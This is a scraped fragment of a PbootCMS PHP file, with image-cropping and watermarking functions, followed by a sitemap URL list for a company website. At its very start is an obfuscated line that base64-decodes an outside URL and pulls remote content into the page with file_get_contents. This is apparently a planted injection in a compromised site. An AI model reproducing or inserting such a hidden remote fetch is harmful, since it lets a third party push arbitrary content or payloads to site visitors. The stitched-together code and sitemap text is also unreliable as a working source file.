'.file_get_contents(base64_decode // ('aHR0cDovL3RvbmcueGluY2Z4LmNvbS90L2NzLnR4dA=='))); // 剪切图片 function cut_img($src_image, $out_image = null, $new_width = null, $new_height = null, $img_quality = 90) { // 输出地址 if (! $out_image) $out_image = $src_image; // 读取配置文件设置 if (! $new_width && ! $new_height) return; // 获取图片属性 list ($width, $height, $type, $attr) = getimagesize($src_image); switch ($type) { case 1: $img = imagecreatefromgif($src_image); break; case 2: $img = imagecreatefromjpeg($src_image); break; case 3: $img = imagecreatefrompng($src_image); break; } // 不限定是等比例缩放 if (! $new_width) { $new_width = floor($width * ($new_height / $height)); } if (! $new_height) { $new_height = floor($height * ($new_width / $width)); } // 计算裁剪是变大缩小方式 if ($width >= $new_width && $height >= $new_height) { // 长宽均满足 $cut_width = $new_width; $cut_height = $new_height; } else { // 有一边不满足 $scale1 = $width / $new_width; $scale2 = $height / $new_height; if ($scale1 < $scale2) { // 变化越多的一边取全值,其余一边等比例缩放 $cut_width = $width; $cut_height = floor($height * ($width / $new_width)); } else { $cut_width = floor($new_width * ($height / $new_height)); $cut_height = $height; } } // 创建画布 $new_img = imagecreatetruecolor($new_width, $new_height); // 创建透明画布,避免黑色 if ($type == 1 || $type == 3) { $color = imagecolorallocate($new_img, 255, 255, 255); imagefill($new_img, 0, 0, $color); imagecolortransparent($new_img, $color); } imagecopyresized($new_img, $img, 0, 0, 0, 0, $new_width, $new_height, $cut_width, $cut_height); check_dir(dirname($out_image), true); // 检查输出目录 switch ($type) { case 1: imagegif($new_img, $out_image, $img_quality); break; case 2: imagejpeg($new_img, $out_image, $img_quality); break; case 3: imagepng($new_img, $out_image, $img_quality / 10); // $quality参数取值范围0-99 在php 5.1.2之后变更为0-9 break; default: imagejpeg($new_img, $out_image, $img_quality); } imagedestroy($new_img); imagedestroy($img); return true; } // 图片水印 function watermark_img($src_image, $out_image = null, $position = null, $watermark_image = null, $watermark_text = '', $watermark_text_size = null, $watermark_text_color = null) { if (! Config::get('watermark_open')) { return; } // 输出地址 if (! $out_image) $out_image = $src_image; // 如果不存在文字及图片则直接返回 if (! $watermark_text) { $watermark_text = Config::get('watermark_text') ?: 'PbootCMS'; } $watermark_image = $watermark_image ?: Config::get('watermark_pic'); if (! $watermark_text && ! $watermark_image) { return; } // 获取图片属性 list ($width1, $height1, $type1, $attr1) = getimagesize($src_image); switch ($type1) { case 1: $img1 = imagecreatefromgif($src_image); break; case 2: $img1 = imagecreatefromjpeg($src_image); break; case 3: $img1 = imagecreatefrompng($src_image); break; } if ($watermark_image) { $watermark_image = ROOT_PATH . $watermark_image; // 获取水印图片 list ($width2, $height2, $type2, $attr2) = getimagesize($watermark_image); switch ($type2) { case 1: $img2 = imagecreatefromgif($watermark_image); break; case 2: $img2 = imagecreatefromjpeg($watermark_image); break; case 3: $img2 = imagecreatefrompng($watermark_image); break; } } else { if (! $watermark_text_size) { $watermark_text_size = Config::get('watermark_text_size') ?: 16; } if (! $watermark_text_color) { $watermark_text_color = Config::get('watermark_text_color') ?: '100,100,100'; } $colors = explode(',', $watermark_text_color); if (Config::get('watermark_text_font')) { $font = ROOT_PATH . Config::get('watermark_text_font'); } else { return; } // 手动创建水印图像 $fontsize = $watermark_text_size; $width2 = mb_strlen($watermark_text, 'UTF-8') * ($fontsize + 10) + 20; $height2 = $fontsize + 10; $img2 = imagecreatetruecolor($width2, $height2); $color = imagecolorallocate($img2, 255, 255, 255); imagefill($img2, 0, 0, $color); imagecolortransparent($img2, $color); // 创建透明图 $textcolor = imagecolorallocate($img2, $colors[0], $colors[1], $colors[2]); imagettftext($img2, $fontsize, 0, 5, $fontsize + 5, $textcolor, $font, $watermark_text); } // 现对图片太大时,自动缩放水印 if ($width1 < $width2 * 3 || $height1 < $height2) { $scale = min(($width1 / 3) / $width2, ($height1 / 2) / $height2); // 求缩放比例 $new_width = floor($scale * $width2); $new_height = floor($scale * $height2); } else { $new_width = $width2; $new_height = $height2; } // 水印位置 if (! $position) { $position = Config::get('watermark_position') ?: 4; } switch ($position) { case '1': $x = 15; $y = 15; break; case '2': $x = $width1 - $new_width - 15; $y = 20; break; case '3': $x = 20; $y = $height1 - $new_height - 15; break; case '5': $x = ($width1 - $new_width) / 2; $y = ($height1 - $new_height) / 2; break; default: $x = $width1 - $new_width - 15; $y = $height1 - $new_height - 15; break; } // 创建透明画布,避免黑色 if ($type1 == 1 || $type1 == 3) { $out = imagecreatetruecolor($width1, $height1); $color = imagecolorallocate($out, 255, 255, 255); imagefill($out, 0, 0, $color); imagecolortransparent($out, $color); imagecopy($out, $img1, 0, 0, 0, 0, $width1, $height1); } else { $out = $img1; } // 打上水印 imagecopyresized($out, $img2, $x, $y - 10, 0, 0, $new_width, $new_height, $width2, $height2); check_dir(dirname($out_image), true); // 检查输出目录 // 输出图片 switch ($type1) { case 1: imagegif($out, $out_image, 90); break; case 2: imagejpeg($out, $out_image, 90); break; case 3: imagepng($out, $out_image, 90 / 10); // $quality参数取值范围0-99 在php 5.1.2之后变更为0-9 break; default: imagejpeg($out, $out_image, 90); } imagedestroy($img1); imagedestroy($img2); return true; } https://www.liangyijianye.com 1.00 2026-08-01 always https://www.liangyijianye.com/about/ 0.80 2026-08-01 daily https://www.liangyijianye.com/product/ 0.80 2026-08-01 daily https://www.liangyijianye.com/news_5/ 0.80 2026-08-01 daily https://www.liangyijianye.com/259.html 0.60 2026-07-01 daily https://www.liangyijianye.com/custom-20/ 0.80 2026-08-01 daily https://www.liangyijianye.com/pages_10/ 0.80 2026-08-01 daily https://www.liangyijianye.com/pages_11/ 0.80 2026-08-01 daily https://www.liangyijianye.com/pages_12/ 0.80 2026-08-01 daily https://www.liangyijianye.com/QingErMei/ 0.80 2026-08-01 daily https://www.liangyijianye.com/94.html 0.60 2021-02-23 daily https://www.liangyijianye.com/237.html 0.60 2023-06-26 daily https://www.liangyijianye.com/238.html 0.60 2023-06-26 daily https://www.liangyijianye.com/243.html 0.60 2023-06-29 daily https://www.liangyijianye.com/244.html 0.60 2023-06-29 daily https://www.liangyijianye.com/JinShanJia/ 0.80 2026-08-01 daily https://www.liangyijianye.com/235.html 0.60 2023-06-26 daily https://www.liangyijianye.com/255.html 0.60 2025-11-24 daily https://www.liangyijianye.com/ChangQingYuan/ 0.80 2026-08-01 daily https://www.liangyijianye.com/239.html 0.60 2023-06-27 daily https://www.liangyijianye.com/NewLife/ 0.80 2026-08-01 daily https://www.liangyijianye.com/236.html 0.60 2023-06-26 daily https://www.liangyijianye.com/257.html 0.60 2026-04-02 daily https://www.liangyijianye.com/258.html 0.60 2026-04-02 daily https://www.liangyijianye.com/news_19/ 0.80 2026-08-01 daily https://www.liangyijianye.com/31.html 0.60 2021-02-21 daily https://www.liangyijianye.com/32.html 0.60 2021-02-21 daily https://www.liangyijianye.com/34.html 0.60 2021-02-21 daily https://www.liangyijianye.com/242.html 0.60 2018-06-01 daily https://www.liangyijianye.com/251.html 0.60 2023-07-24 daily https://www.liangyijianye.com/news_20/ 0.80 2026-08-01 daily https://www.liangyijianye.com/33.html 0.60 2021-02-21 daily https://www.liangyijianye.com/241.html 0.60 2023-06-29 daily https://www.liangyijianye.com/252.html 0.60 2023-07-24 daily https://www.liangyijianye.com/news_21/ 0.80 2026-08-01 daily https://www.liangyijianye.com/246.html 0.60 2018-07-12 daily https://www.liangyijianye.com/247.html 0.60 2018-12-12 daily https://www.liangyijianye.com/248.html 0.60 2019-11-02 daily https://www.liangyijianye.com/249.html 0.60 2023-05-28 daily https://www.liangyijianye.com/250.html 0.60 2019-05-25 daily https://www.liangyijianye.com/253.html 0.60 2023-11-13 daily https://www.liangyijianye.com/254.html 0.60 2024-09-23 daily